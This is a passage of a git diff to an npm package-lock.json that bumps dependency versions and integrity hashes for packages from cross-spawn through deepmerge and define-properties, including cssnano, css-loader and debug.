- "parse-json": "^5.0.0", - "path-type": "^4.0.0", - "yaml": "^1.10.0" + "env-paths": "^2.2.1", + "import-fresh": "^3.3.0", + "js-yaml": "^4.1.0", + "parse-json": "^5.2.0" + }, + "dependencies": { + "argparse": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/argparse/-/argparse-2.0.1.tgz", + "integrity": "sha512-8+9WqebbFzpX9OR+Wa6O29asIogeRMzcGtAINdpMHHyAg10f05aSFVBbcEqGf/PXw1EjAZ+q2/bEBg3DvurK3Q==", + "dev": true + }, + "js-yaml": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-4.1.0.tgz", + "integrity": "sha512-wpxZs9NoxZaJESJGIZTyDEaYpl0FKSA+FB9aJiyemKhMwkxQg63h4T1KJgUGHpTqPDNRcmmYLugrRjJlBtWvRA==", + "dev": true, + "requires": { + "argparse": "^2.0.1" + } + } } }, "crc-32": { @@ -23175,6 +20272,21 @@ "sha.js": "^2.4.8" } }, + "create-jest": { + "version": "29.7.0", + "resolved": "https://registry.npmjs.org/create-jest/-/create-jest-29.7.0.tgz", + "integrity": "sha512-Adz2bdH0Vq3F53KEMJOoftQFutWCukm6J24wbPWRO4k1kMY7gS7ds/uoJkNuV8wDCtWWnuwGcJwpWcih+zEW1Q==", + "dev": true, + "requires": { + "@jest/types": "^29.6.3", + "chalk": "^4.0.0", + "exit": "^0.1.2", + "graceful-fs": "^4.2.9", + "jest-config": "^29.7.0", + "jest-util": "^29.7.0", + "prompts": "^2.0.1" + } + }, "cross-fetch": { "version": "2.2.6", "resolved": "https://registry.npmjs.org/cross-fetch/-/cross-fetch-2.2.6.tgz", @@ -23185,9 +20297,9 @@ } }, "cross-spawn": { - "version": "7.0.3", - "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-7.0.3.tgz", - "integrity": "sha512-iRDPJKUPVEND7dHPO8rkbOnPpyDygcDFtWjpeWNCgy8WP2rXcxXL8TskReQl6OrB2G7+UJrags1q15Fudc7G6w==", + "version": "7.0.6", + "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-7.0.6.tgz", + "integrity": "sha512-uV2QOWP2nWzsy2aMp8aRibhi9dlzF5Hgh5SHaB9OiTGEyDTiJJyx0uy51QXdyWbtAHNua4XJzUKca3OzKUd3vA==", "dev": true, "requires": { "path-key": "^3.1.0", @@ -23196,21 +20308,38 @@ } }, "crypto-browserify": { - "version": "3.12.0", - "resolved": "https://registry.npmjs.org/crypto-browserify/-/crypto-browserify-3.12.0.tgz", - "integrity": "sha512-fz4spIh+znjO2VjL+IdhEpRJ3YN6sMzITSBijk6FK2UvTqruSQW+/cCZTSNsMiZNvUeq0CqurF+dAbyiGOY6Wg==", + "version": "3.12.1", + "resolved": "https://registry.npmjs.org/crypto-browserify/-/crypto-browserify-3.12.1.tgz", + "integrity": "sha512-r4ESw/IlusD17lgQi1O20Fa3qNnsckR126TdUuBgAu7GBYSIPvdNyONd3Zrxh0xCwA4+6w/TDArBPsMvhur+KQ==", "requires": { - "browserify-cipher": "^1.0.0", - "browserify-sign": "^4.0.0", - "create-ecdh": "^4.0.0", - "create-hash": "^1.1.0", - "create-hmac": "^1.1.0", - "diffie-hellman": "^5.0.0", - "inherits": "^2.0.1", - "pbkdf2": "^3.0.3", - "public-encrypt": "^4.0.0", - "randombytes": "^2.0.0", - "randomfill": "^1.0.3" + "browserify-cipher": "^1.0.1", + "browserify-sign": "^4.2.3", + "create-ecdh": "^4.0.4", + "create-hash": "^1.2.0", + "create-hmac": "^1.1.7", + "diffie-hellman": "^5.0.3", + "hash-base": "~3.0.4", + "inherits": "^2.0.4", + "pbkdf2": "^3.1.2", + "public-encrypt": "^4.0.3", + "randombytes": "^2.1.0", + "randomfill": "^1.0.4" + }, + "dependencies": { + "hash-base": { + "version": "3.0.5", + "resolved": "https://registry.npmjs.org/hash-base/-/hash-base-3.0.5.tgz", + "integrity": "sha512-vXm0l45VbcHEVlTCzs8M+s0VeYsB2lnlAaThoLKGXr3bE/VWDOelNUnycUPEhKEaXARL2TEFjBOyUiM6+55KBg==", + "requires": { + "inherits": "^2.0.4", + "safe-buffer": "^5.2.1" + } + }, + "safe-buffer": { + "version": "5.2.1", + "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.1.tgz", + "integrity": "sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==" + } } }, "css-color-keywords": { @@ -23219,45 +20348,32 @@ "integrity": "sha1-/qJhbcZ2spYmhrOvjb2+GAskTgU=" }, "css-declaration-sorter": { - "version": "6.3.0", - "resolved": "https://registry.npmjs.org/css-declaration-sorter/-/css-declaration-sorter-6.3.0.tgz", - "integrity": "sha512-OGT677UGHJTAVMRhPO+HJ4oKln3wkBTwtDFH0ojbqm+MJm6xuDMHp2nkhh/ThaBqq20IbraBQSWKfSLNHQO9Og==", + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/css-declaration-sorter/-/css-declaration-sorter-7.2.0.tgz", + "integrity": "sha512-h70rUM+3PNFuaBDTLe8wF/cdWu+dOZmb7pJt8Z2sedYbAcQVQV/tEchueg3GWxwqS0cxtbxmaHEdkNACqcvsow==", "dev": true, "requires": {} }, "css-loader": { - "version": "5.2.7", - "resolved": "https://registry.npmjs.org/css-loader/-/css-loader-5.2.7.tgz", - "integrity": "sha512-Q7mOvpBNBG7YrVGMxRxcBJZFL75o+cH2abNASdibkj/fffYD8qWbInZrD0S9ccI6vZclF3DsHE7njGlLtaHbhg==", + "version": "7.1.2", + "resolved": "https://registry.npmjs.org/css-loader/-/css-loader-7.1.2.tgz", + "integrity": "sha512-6WvYYn7l/XEGN8Xu2vWFt9nVzrCn39vKyTEFf/ExEyoksJjjSZV/0/35XPlMbpnr6VGhZIUg5yJrL8tGfes/FA==", "dev": true, "requires": { "icss-utils": "^5.1.0", - "loader-utils": "^2.0.0", - "postcss": "^8.2.15", - "postcss-modules-extract-imports": "^3.0.0", - "postcss-modules-local-by-default": "^4.0.0", - "postcss-modules-scope": "^3.0.0", + "postcss": "^8.4.33", + "postcss-modules-extract-imports": "^3.1.0", + "postcss-modules-local-by-default": "^4.0.5", + "postcss-modules-scope": "^3.2.0", "postcss-modules-values": "^4.0.0", - "postcss-value-parser": "^4.1.0", - "schema-utils": "^3.0.0", - "semver": "^7.3.5" + "postcss-value-parser": "^4.2.0", + "semver": "^7.5.4" }, "dependencies": { - "schema-utils": { - "version": "3.1.1", - "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-3.1.1.tgz", - "integrity": "sha512-Y5PQxS4ITlC+EahLuXaY86TXfR7Dc5lw294alXOq86JAHCihAIZfqv8nNCWvaEJvaC51uN9hbLGeV0cFBdH+Fw==", - "dev": true, - "requires": { - "@types/json-schema": "^7.0.8", - "ajv": "^6.12.5", - "ajv-keywords": "^3.5.2" - } - }, "semver": { - "version": "7.3.5", - "resolved": "https://registry.npmjs.org/semver/-/semver-7.3.5.tgz", - "integrity": "sha512-PoeGJYh8HK4BTO/a9Tf6ZG3veo/A7ZVsYrSA6J8ny9nb3B1VrpkuN+z9OE5wfE5p6H4LchYZsegiQgbJD94ZFQ==", + "version": "7.5.4", + "resolved": "https://registry.npmjs.org/semver/-/semver-7.5.4.tgz", + "integrity": "sha512-1bCSESV6Pv+i21Hvpxp3Dx+pSD8lIPt8uVjRrxAUt/nbswYc+tK6Y2btiULjd4+fnq15PX+nqQDC7Oft7WkwcA==", "dev": true, "requires": { "lru-cache": "^6.0.0" @@ -23266,70 +20382,58 @@ } }, "css-minimizer-webpack-plugin": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/css-minimizer-webpack-plugin/-/css-minimizer-webpack-plugin-4.0.0.tgz", - "integrity": "sha512-7ZXXRzRHvofv3Uac5Y+RkWRNo0ZMlcg8e9/OtrqUYmwDWJo+qs67GvdeFrXLsFb7czKNwjQhPkM0avlIYl+1nA==", + "version": "7.0.2", + "resolved": "https://registry.npmjs.org/css-minimizer-webpack-plugin/-/css-minimizer-webpack-plugin-7.0.2.tgz", + "integrity": "sha512-nBRWZtI77PBZQgcXMNqiIXVshiQOVLGSf2qX/WZfG8IQfMbeHUMXaBWQmiiSTmPJUflQxHjZjzAmuyO7tpL2Jg==", "dev": true, "requires": { - "cssnano": "^5.1.8", - "jest-worker": "^27.5.1", - "postcss": "^8.4.13", - "schema-utils": "^4.0.0", - "serialize-javascript": "^6.0.0", - "source-map": "^0.6.1" + "@jridgewell/trace-mapping": "^0.3.25", + "cssnano": "^7.0.4", + "jest-worker": "^29.7.0", + "postcss": "^8.4.40", + "schema-utils": "^4.2.0", + "serialize-javascript": "^6.0.2" }, "dependencies": { - "ajv": { - "version": "8.10.0", - "resolved": "https://registry.npmjs.org/ajv/-/ajv-8.10.0.tgz", - "integrity": "sha512-bzqAEZOjkrUMl2afH8dknrq5KEk2SrwdBROR+vH1EKVQTqaUbJVPdc/gEdggTMM0Se+s+Ja4ju4TlNcStKl2Hw==", - "dev": true, - "requires": { - "fast-deep-equal": "^3.1.1", - "json-schema-traverse": "^1.0.0", - "require-from-string": "^2.0.2", - "uri-js": "^4.2.2" - } + "has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "dev": true }, - "ajv-keywords": { - "version": "5.1.0", - "resolved": "https://registry.npmjs.org/ajv-keywords/-/ajv-keywords-5.1.0.tgz", - "integrity": "sha512-YCS/JNFAUyr5vAuhk1DWm1CBxRHW9LbJ2ozWeemrIqpbsqKjHVxYPyi5GC0rjZIT5JxJ3virVTS8wk4i/Z+krw==", + "jest-worker": { + "version": "29.7.0", + "resolved": "https://registry.npmjs.org/jest-worker/-/jest-worker-29.7.0.tgz", + "integrity": "sha512-eIz2msL/EzL9UFTFFx7jBTkeZfku0yUAyZZZmJ93H2TYEiroIx2PQjEXcwYtYl8zXCxb+PAmA2hLIt/6ZEkPHw==", "dev": true, "requires": { - "fast-deep-equal": "^3.1.3" + "@types/node": "*", + "jest-util": "^29.7.0", + "merge-stream": "^2.0.0", + "supports-color": "^8.0.0" } }, - "json-schema-traverse": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-1.0.0.tgz", - "integrity": "sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug==", - "dev": true - }, - "schema-utils": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-4.0.0.tgz", - "integrity": "sha512-1edyXKgh6XnJsJSQ8mKWXnN/BVaIbFMLpouRUrXgVq7WYne5kw3MW7UPhO44uRXQSIpTSXoJbmrR2X0w9kUTyg==", + "supports-color": { + "version": "8.1.1", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-8.1.1.tgz", + "integrity": "sha512-MpUEN2OodtUzxvKQl72cUF7RQ5EiHsGvSsVG0ia9c5RbWGL2CI4C7EpPS8UTBIplnlzZiNuV56w+FuNxy3ty2Q==", "dev": true, "requires": { - "@types/json-schema": "^7.0.9", - "ajv": "^8.8.0", - "ajv-formats": "^2.1.1", - "ajv-keywords": "^5.0.0" + "has-flag": "^4.0.0" } } } }, "css-select": { - "version": "4.3.0", - "resolved": "https://registry.npmjs.org/css-select/-/css-select-4.3.0.tgz", - "integrity": "sha512-wPpOYtnsVontu2mODhA19JrqWxNsfdatRKd64kmpRbQgh1KtItko5sTnEpPdpSaJszTOhEMlF/RPz28qj4HqhQ==", + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/css-select/-/css-select-5.1.0.tgz", + "integrity": "sha512-nwoRF1rvRRnnCqqY7updORDsuqKzqYJ28+oSMaJMMgOauh3fvwHqMS7EZpIPqK8GL+g9mKxF1vP/ZjSeNjEVHg==", "dev": true, "requires": { "boolbase": "^1.0.0", - "css-what": "^6.0.1", - "domhandler": "^4.3.1", - "domutils": "^2.8.0", + "css-what": "^6.1.0", + "domhandler": "^5.0.2", + "domutils": "^3.0.1", "nth-check": "^2.0.1" } }, @@ -23344,13 +20448,13 @@ } }, "css-tree": { - "version": "1.1.3", - "resolved": "https://registry.npmjs.org/css-tree/-/css-tree-1.1.3.tgz", - "integrity": "sha512-tRpdppF7TRazZrjJ6v3stzv93qxRcSsFmW6cX0Zm2NVKpxE1WV1HblnghVv9TreireHkqI/VDEsfolRF1p6y7Q==", + "version": "2.3.1", + "resolved": "https://registry.npmjs.org/css-tree/-/css-tree-2.3.1.tgz", + "integrity": "sha512-6Fv1DV/TYw//QF5IzQdqsNDjx/wc8TrMBZsqjL9eW01tWb7R7k/mq+/VXfJCl7SoD5emsJop9cOByJZfs8hYIw==", "dev": true, "requires": { - "mdn-data": "2.0.14", - "source-map": "^0.6.1" + "mdn-data": "2.0.30", + "source-map-js": "^1.0.1" } }, "css-what": { @@ -23371,99 +20475,95 @@ "integrity": "sha1-xtJnJjKi5cg+AT5oZKQs6N79IK4=" }, "cssnano": { - "version": "5.1.12", - "resolved": "https://registry.npmjs.org/cssnano/-/cssnano-5.1.12.tgz", - "integrity": "sha512-TgvArbEZu0lk/dvg2ja+B7kYoD7BBCmn3+k58xD0qjrGHsFzXY/wKTo9M5egcUCabPol05e/PVoIu79s2JN4WQ==", + "version": "7.0.6", + "resolved": "https://registry.npmjs.org/cssnano/-/cssnano-7.0.6.tgz", + "integrity": "sha512-54woqx8SCbp8HwvNZYn68ZFAepuouZW4lTwiMVnBErM3VkO7/Sd4oTOt3Zz3bPx3kxQ36aISppyXj2Md4lg8bw==", "dev": true, "requires": { - "cssnano-preset-default": "^5.2.12", - "lilconfig": "^2.0.3", - "yaml": "^1.10.2" + "cssnano-preset-default": "^7.0.6", + "lilconfig": "^3.1.2" } }, "cssnano-preset-default": { - "version": "5.2.12", - "resolved": "https://registry.npmjs.org/cssnano-preset-default/-/cssnano-preset-default-5.2.12.tgz", - "integrity": "sha512-OyCBTZi+PXgylz9HAA5kHyoYhfGcYdwFmyaJzWnzxuGRtnMw/kR6ilW9XzlzlRAtB6PLT/r+prYgkef7hngFew==", - "dev": true, - "requires": { - "css-declaration-sorter": "^6.3.0", - "cssnano-utils": "^3.1.0", - "postcss-calc": "^8.2.3", - "postcss-colormin": "^5.3.0", - "postcss-convert-values": "^5.1.2", - "postcss-discard-comments": "^5.1.2", - "postcss-discard-duplicates": "^5.1.0", - "postcss-discard-empty": "^5.1.1", - "postcss-discard-overridden": "^5.1.0", - "postcss-merge-longhand": "^5.1.6", - "postcss-merge-rules": "^5.1.2", - "postcss-minify-font-values": "^5.1.0", - "postcss-minify-gradients": "^5.1.1", - "postcss-minify-params": "^5.1.3", - "postcss-minify-selectors": "^5.2.1", - "postcss-normalize-charset": "^5.1.0", - "postcss-normalize-display-values": "^5.1.0", - "postcss-normalize-positions": "^5.1.1", - "postcss-normalize-repeat-style": "^5.1.1", - "postcss-normalize-string": "^5.1.0", - "postcss-normalize-timing-functions": "^5.1.0", - "postcss-normalize-unicode": "^5.1.0", - "postcss-normalize-url": "^5.1.0", - "postcss-normalize-whitespace": "^5.1.1", - "postcss-ordered-values": "^5.1.3", - "postcss-reduce-initial": "^5.1.0", - "postcss-reduce-transforms": "^5.1.0", - "postcss-svgo": "^5.1.0", - "postcss-unique-selectors": "^5.1.1" + "version": "7.0.6", + "resolved": "https://registry.npmjs.org/cssnano-preset-default/-/cssnano-preset-default-7.0.6.tgz", + "integrity": "sha512-ZzrgYupYxEvdGGuqL+JKOY70s7+saoNlHSCK/OGn1vB2pQK8KSET8jvenzItcY+kA7NoWvfbb/YhlzuzNKjOhQ==", + "dev": true, + "requires": { + "browserslist": "^4.23.3", + "css-declaration-sorter": "^7.2.0", + "cssnano-utils": "^5.0.0", + "postcss-calc": "^10.0.2", + "postcss-colormin": "^7.0.2", + "postcss-convert-values": "^7.0.4", + "postcss-discard-comments": "^7.0.3", + "postcss-discard-duplicates": "^7.0.1", + "postcss-discard-empty": "^7.0.0", + "postcss-discard-overridden": "^7.0.0", + "postcss-merge-longhand": "^7.0.4", + "postcss-merge-rules": "^7.0.4", + "postcss-minify-font-values": "^7.0.0", + "postcss-minify-gradients": "^7.0.0", + "postcss-minify-params": "^7.0.2", + "postcss-minify-selectors": "^7.0.4", + "postcss-normalize-charset": "^7.0.0", + "postcss-normalize-display-values": "^7.0.0", + "postcss-normalize-positions": "^7.0.0", + "postcss-normalize-repeat-style": "^7.0.0", + "postcss-normalize-string": "^7.0.0", + "postcss-normalize-timing-functions": "^7.0.0", + "postcss-normalize-unicode": "^7.0.2", + "postcss-normalize-url": "^7.0.0", + "postcss-normalize-whitespace": "^7.0.0", + "postcss-ordered-values": "^7.0.1", + "postcss-reduce-initial": "^7.0.2", + "postcss-reduce-transforms": "^7.0.0", + "postcss-svgo": "^7.0.1", + "postcss-unique-selectors": "^7.0.3" } }, "cssnano-utils": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/cssnano-utils/-/cssnano-utils-3.1.0.tgz", - "integrity": "sha512-JQNR19/YZhz4psLX/rQ9M83e3z2Wf/HdJbryzte4a3NSuafyp9w/I4U+hx5C2S9g41qlstH7DEWnZaaj83OuEA==", + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/cssnano-utils/-/cssnano-utils-5.0.0.tgz", + "integrity": "sha512-Uij0Xdxc24L6SirFr25MlwC2rCFX6scyUmuKpzI+JQ7cyqDEwD42fJ0xfB3yLfOnRDU5LKGgjQ9FA6LYh76GWQ==", "dev": true, "requires": {} }, "csso": { - "version": "4.2.0", - "resolved": "https://registry.npmjs.org/csso/-/csso-4.2.0.tgz", - "integrity": "sha512-wvlcdIbf6pwKEk7vHj8/Bkc0B4ylXZruLvOgs9doS5eOsOpuodOV2zJChSpkp+pRpYQLQMeF04nr3Z68Sta9jA==", + "version": "5.0.5", + "resolved": "https://registry.npmjs.org/csso/-/csso-5.0.5.tgz", + "integrity": "sha512-0LrrStPOdJj+SPCCrGhzryycLjwcgUSHBtxNA8aIDxf0GLsRh1cKYhB00Gd1lDOS4yGH69+SNn13+TWbVHETFQ==", "dev": true, "requires": { - "css-tree": "^1.1.2" - } - }, - "cssom": { - "version": "0.5.0", - "resolved": "https://registry.npmjs.org/cssom/-/cssom-0.5.0.tgz", - "integrity": "sha512-iKuQcq+NdHqlAcwUY0o/HL69XQrUaQdMjmStJ8JFmUaiiQErlhrmuigkg/CU4E2J0IyUKUrMAgl36TvN67MqTw==", - "dev": true - }, - "cssstyle": { - "version": "2.3.0", - "resolved": "https://registry.npmjs.org/cssstyle/-/cssstyle-2.3.0.tgz", - "integrity": "sha512-AZL67abkUzIuvcHqk7c09cezpGNcxUxU4Ioi/05xHk4DQeTkWmGYftIE6ctU6AEt+Gn4n1lDStOtj7FKycP71A==", - "dev": true, - "requires": { - "cssom": "~0.3.6" + "css-tree": "~2.2.0" }, "dependencies": { - "cssom": { - "version": "0.3.8", - "resolved": "https://registry.npmjs.org/cssom/-/cssom-0.3.8.tgz", - "integrity": "sha512-b0tGHbfegbhPJpxpiBPU2sCkigAqtM9O121le6bbOlgyV+NyGyCmVfJ6QW9eRjz8CpNfWEOYBIMIGRYkLwsIYg==", + "css-tree": { + "version": "2.2.1", + "resolved": "https://registry.npmjs.org/css-tree/-/css-tree-2.2.1.tgz", + "integrity": "sha512-OA0mILzGc1kCOCSJerOeqDxDQ4HOh+G8NbOJFOTgOCzpw7fCBubk0fEyxp8AgOL/jvLgYA/uV0cMbe43ElF1JA==", + "dev": true, + "requires": { + "mdn-data": "2.0.28", + "source-map-js": "^1.0.1" + } + }, + "mdn-data": { + "version": "2.0.28", + "resolved": "https://registry.npmjs.org/mdn-data/-/mdn-data-2.0.28.tgz", + "integrity": "sha512-aylIc7Z9y4yzHYAJNuESG3hfhC+0Ibp/MAMiaOZgNv4pmEdFyfZhhhny4MNiAfWdBQ1RQ2mfDWmM1x8SvGyp8g==", "dev": true } } }, - "d": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/d/-/d-1.0.1.tgz", - "integrity": "sha512-m62ShEObQ39CfralilEQRjH6oAMtNCV1xJyEx5LpRYUVN+EviphDgUc/F3hnYbADmkiNs67Y+3ylmlG7Lnu+FA==", + "cssstyle": { + "version": "4.6.0", + "resolved": "https://registry.npmjs.org/cssstyle/-/cssstyle-4.6.0.tgz", + "integrity": "sha512-2z+rWdzbbSZv6/rhtvzvqeZQHrBaqgogqt85sqFNbabZOuFbCVFb8kPeEtZjiKkbrm395irpNKiYeFeLiQnFPg==", + "dev": true, "requires": { - "es5-ext": "^0.10.50", - "type": "^1.0.1" + "@asamuzakjp/css-color": "^3.2.0", + "rrweb-cssom": "^0.8.0" } }, "dashdash": { @@ -23474,23 +20574,55 @@ "assert-plus": "^1.0.0" } }, - "data-urls": { - "version": "3.0.2", - "resolved": "https://registry.npmjs.org/data-urls/-/data-urls-3.0.2.tgz", - "integrity": "sha512-Jy/tj3ldjZJo63sVAvg6LHt2mHvl4V6AgRAmNDtLdm7faqtsx+aJG42rsyCo9JCoRVKwPFzKlIPx3DIibwSIaQ==", + "data-urls": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/data-urls/-/data-urls-5.0.0.tgz", + "integrity": "sha512-ZYP5VBHshaDAiVZxjbRVcFJpc+4xGgT0bK3vzy1HLN8jTO975HEbuYzZJcHoQEY5K1a0z8YayJkyVETa08eNTg==", + "dev": true, + "requires": { + "whatwg-mimetype": "^4.0.0", + "whatwg-url": "^14.0.0" + } + }, + "data-view-buffer": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/data-view-buffer/-/data-view-buffer-1.0.2.tgz", + "integrity": "sha512-EmKO5V3OLXh1rtK2wgXRansaK1/mtVdTUEiEI0W8RkvgT05kfxaH29PliLnpLP73yYO6142Q72QNa8Wx/A5CqQ==", + "dev": true, + "requires": { + "call-bound": "^1.0.3", + "es-errors": "^1.3.0", + "is-data-view": "^1.0.2" + } + }, + "data-view-byte-length": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/data-view-byte-length/-/data-view-byte-length-1.0.2.tgz", + "integrity": "sha512-tuhGbE6CfTM9+5ANGf+oQb72Ky/0+s3xKUpHvShfiz2RxMFgFPjsXuRLBVMtvMs15awe45SRb83D6wH4ew6wlQ==", + "dev": true, + "requires": { + "call-bound": "^1.0.3", + "es-errors": "^1.3.0", + "is-data-view": "^1.0.2" + } + }, + "data-view-byte-offset": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/data-view-byte-offset/-/data-view-byte-offset-1.0.1.tgz", + "integrity": "sha512-BS8PfmtDGnrgYdOonGZQdLZslWIeCGFP9tpan0hi1Co2Zr2NKADsvGYA8XxuG/4UWgJ6Cjtv+YJnB6MM69QGlQ==", "dev": true, "requires": { - "abab": "^2.0.6", - "whatwg-mimetype": "^3.0.0", - "whatwg-url": "^11.0.0" + "call-bound": "^1.0.2", + "es-errors": "^1.3.0", + "is-data-view": "^1.0.1" } }, "debug": { - "version": "4.3.2", - "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.2.tgz", - "integrity": "sha512-mOp8wKcvj7XxC78zLgw/ZA+6TSgkoE2C/ienthhRD298T7UNwAg9diBpLRxC0mOezLl4B0xV7M0cCO6P/O0Xhw==", + "version": "4.4.1", + "resolved": "https://registry.npmjs.org/debug/-/debug-4.4.1.tgz", + "integrity": "sha512-KcKCqiftBJcZr++7ykoDIEwSa3XWowTfNPo92BYxjXiyYEVrUQh2aLyhxBCwww+heortUFxEJYcRzosstTEBYQ==", "requires": { - "ms": "2.1.2" + "ms": "^2.1.3" } }, "decamelize": { @@ -23498,59 +20630,23 @@ "resolved": "https://registry.npmjs.org/decamelize/-/decamelize-1.2.0.tgz", "integrity": "sha1-9lNNFRSCabIDUue+4m9QH5oZEpA=" }, - "decamelize-keys": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/decamelize-keys/-/decamelize-keys-1.1.0.tgz", - "integrity": "sha1-0XGoeTMlKAfrPLYdwcFEXQeN8tk=", - "dev": true, - "optional": true, - "peer": true, - "requires": { - "decamelize": "^1.1.0", - "map-obj": "^1.0.0" - }, - "dependencies": { - "map-obj": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/map-obj/-/map-obj-1.0.1.tgz", - "integrity": "sha1-2TPOuSBdgr3PSIb2dCvcK03qFG0=", - "dev": true, - "optional": true, - "peer": true - } - } - }, "decimal.js": { - "version": "10.4.0", - "resolved": "https://registry.npmjs.org/decimal.js/-/decimal.js-10.4.0.tgz", - "integrity": "sha512-Nv6ENEzyPQ6AItkGwLE2PGKinZZ9g59vSh2BeH6NqPu0OTKZ5ruJsVqh/orbAnqXc9pBbgXAIrc2EyaCj8NpGg==", + "version": "10.6.0", + "resolved": "https://registry.npmjs.org/decimal.js/-/decimal.js-10.6.0.tgz", + "integrity": "sha512-YpgQiITW3JXGntzdUmyUR1V812Hn8T1YVXhCu+wO3OpS4eU9l4YdD3qjyiKdV6mvV29zapkMeD390UVEf2lkUg==", "dev": true }, "decode-uri-component": { - "version": "0.2.0", - "resolved": "https://registry.npmjs.org/decode-uri-component/-/decode-uri-component-0.2.0.tgz", - "integrity": "sha1-6zkTMzRYd1y4TNGh+uBiEGu4dUU=" - }, - "decompress-response": { - "version": "6.0.0", - "resolved": "https://registry.npmjs.org/decompress-response/-/decompress-response-6.0.0.tgz", - "integrity": "sha512-aW35yZM6Bb/4oJlZncMH2LCoZtJXTRxES17vE3hoRiowU2kWHaJKFkSBDnDR+cm9J+9QhXmREyIfv0pji9ejCQ==", - "requires": { - "mimic-response": "^3.1.0" - }, - "dependencies": { - "mimic-response": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/mimic-response/-/mimic-response-3.1.0.tgz", - "integrity": "sha512-z0yWI+4FDrrweS8Zmt4Ej5HdJmky15+L2e6Wgn3+iK5fWzb6T3fhNFq2+MeTRb064c6Wr4N/wv0DzQTjNzHNGQ==" - } - } + "version": "0.2.2", + "resolved": "https://registry.npmjs.org/decode-uri-component/-/decode-uri-component-0.2.2.tgz", + "integrity": "sha512-FqUYQ+8o158GyGTrMFJms9qh3CqTKvAqgqsTnkLI8sKu0028orqBhxNMFkFen0zGyg6epACD32pjVk58ngIErQ==" }, "dedent": { - "version": "0.7.0", - "resolved": "https://registry.npmjs.org/dedent/-/dedent-0.7.0.tgz", - "integrity": "sha512-Q6fKUPqnAHAyhiUgFU7BUzLiv0kd8saH9al7tnu5Q/okj6dnupxyTgFIBjVzJATdfIAm9NAsvXNzjaKa+bxVyA==", - "dev": true + "version": "1.5.1", + "resolved": "https://registry.npmjs.org/dedent/-/dedent-1.5.1.tgz", + "integrity": "sha512-+LxW+KLWxu3HW3M2w2ympwtqPrqYRzU8fqi6Fhd18fBALe15blJPI/I4+UHveMVG6lJqB4JNd4UG0S5cnVHwIg==", + "dev": true, + "requires": {} }, "deep-eql": { "version": "3.0.1", @@ -23567,16 +20663,11 @@ "dev": true }, "deepmerge": { - "version": "4.2.2", - "resolved": "https://registry.npmjs.org/deepmerge/-/deepmerge-4.2.2.tgz", - "integrity": "sha512-FJ3UgI4gIl+PHZm53knsuSFpE+nESMr7M4v9QcgB7S63Kj/6WqMiFQJpBBYz1Pt+66bZpP3Q7Lye0Oo9MPKEdg==", + "version": "4.3.1", + "resolved": "https://registry.npmjs.org/deepmerge/-/deepmerge-4.3.1.tgz", + "integrity": "sha512-3sUqbMEc77XqpdNO7FRyRog+eW3ph+GYCbj+rK+uYyRMuwsVy0rMiVtPn+QJlKFvWP/1PYpapqYn0Me2knFn+A==", "dev": true }, - "defer-to-connect": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/defer-to-connect/-/defer-to-connect-2.0.1.tgz", - "integrity": "sha512-4tvttepXG1VaYGrRibk5EwJd1t4udunSOVMdLSAL6mId1ix438oPwPZMALY41FCijukO1L0twNcGsdzS7dHgDg==" - }, "deferred-leveldown": { "version": "1.2.2", "resolved": "https://registry.npmjs.org/deferred-leveldown/-/deferred-leveldown-1.2.2.tgz", @@ -23585,12 +20676,24 @@ "abstract-leveldown": "~2.6.0" } }, + "define-data-property": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/define-data-property/-/define-data-property-1.1.4.tgz", + "integrity": "sha512-rBMvIzlpA8v6E+SJZoo++HAYqsLrkg7MSfIinMPFhmkorw7X+dOXVJQs+QT69zGkzMyfDnIMN2Wid1+NbL3T+A==", + "requires": { + "es-define-property": "^1.0.0", + "es-errors": "^1.3.0", + "gopd": "^1.0.1" + } + }, "define-properties": { - "version": "1.1.3", - "resolved": "https://registry.npmjs.org/define-properties/-/define-properties-1.1.3.tgz", - "integrity": "sha512-3MqfYKj2lLzdMSf8ZIZE/V+Zuy+BgD6f164e8K2w7dgnpKArBDerGYpM46IYYcjnkdPNMjPk9A6VFB8+3SKlXQ==", + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/define-properties/-/define-properties-1.2.1.tgz", + "integrity": "sha512-8QmQKqEASLd5nx0U1B1okLElbUuuttJ/AnYmRXbbbGDWh6uS208EjD4Xqq/I9wK7u0v6O08XhTWnt5XtEbR6Dg==", "requires": { - "object-keys": "^1.0.12" + "define-data-property": "^1.0.1", + "has-property-descriptors": "^1.0.0", + "object-keys": "^1.1.1" } }, "delayed-stream": { @@ -23603,22 +20706,6 @@ "resolved": 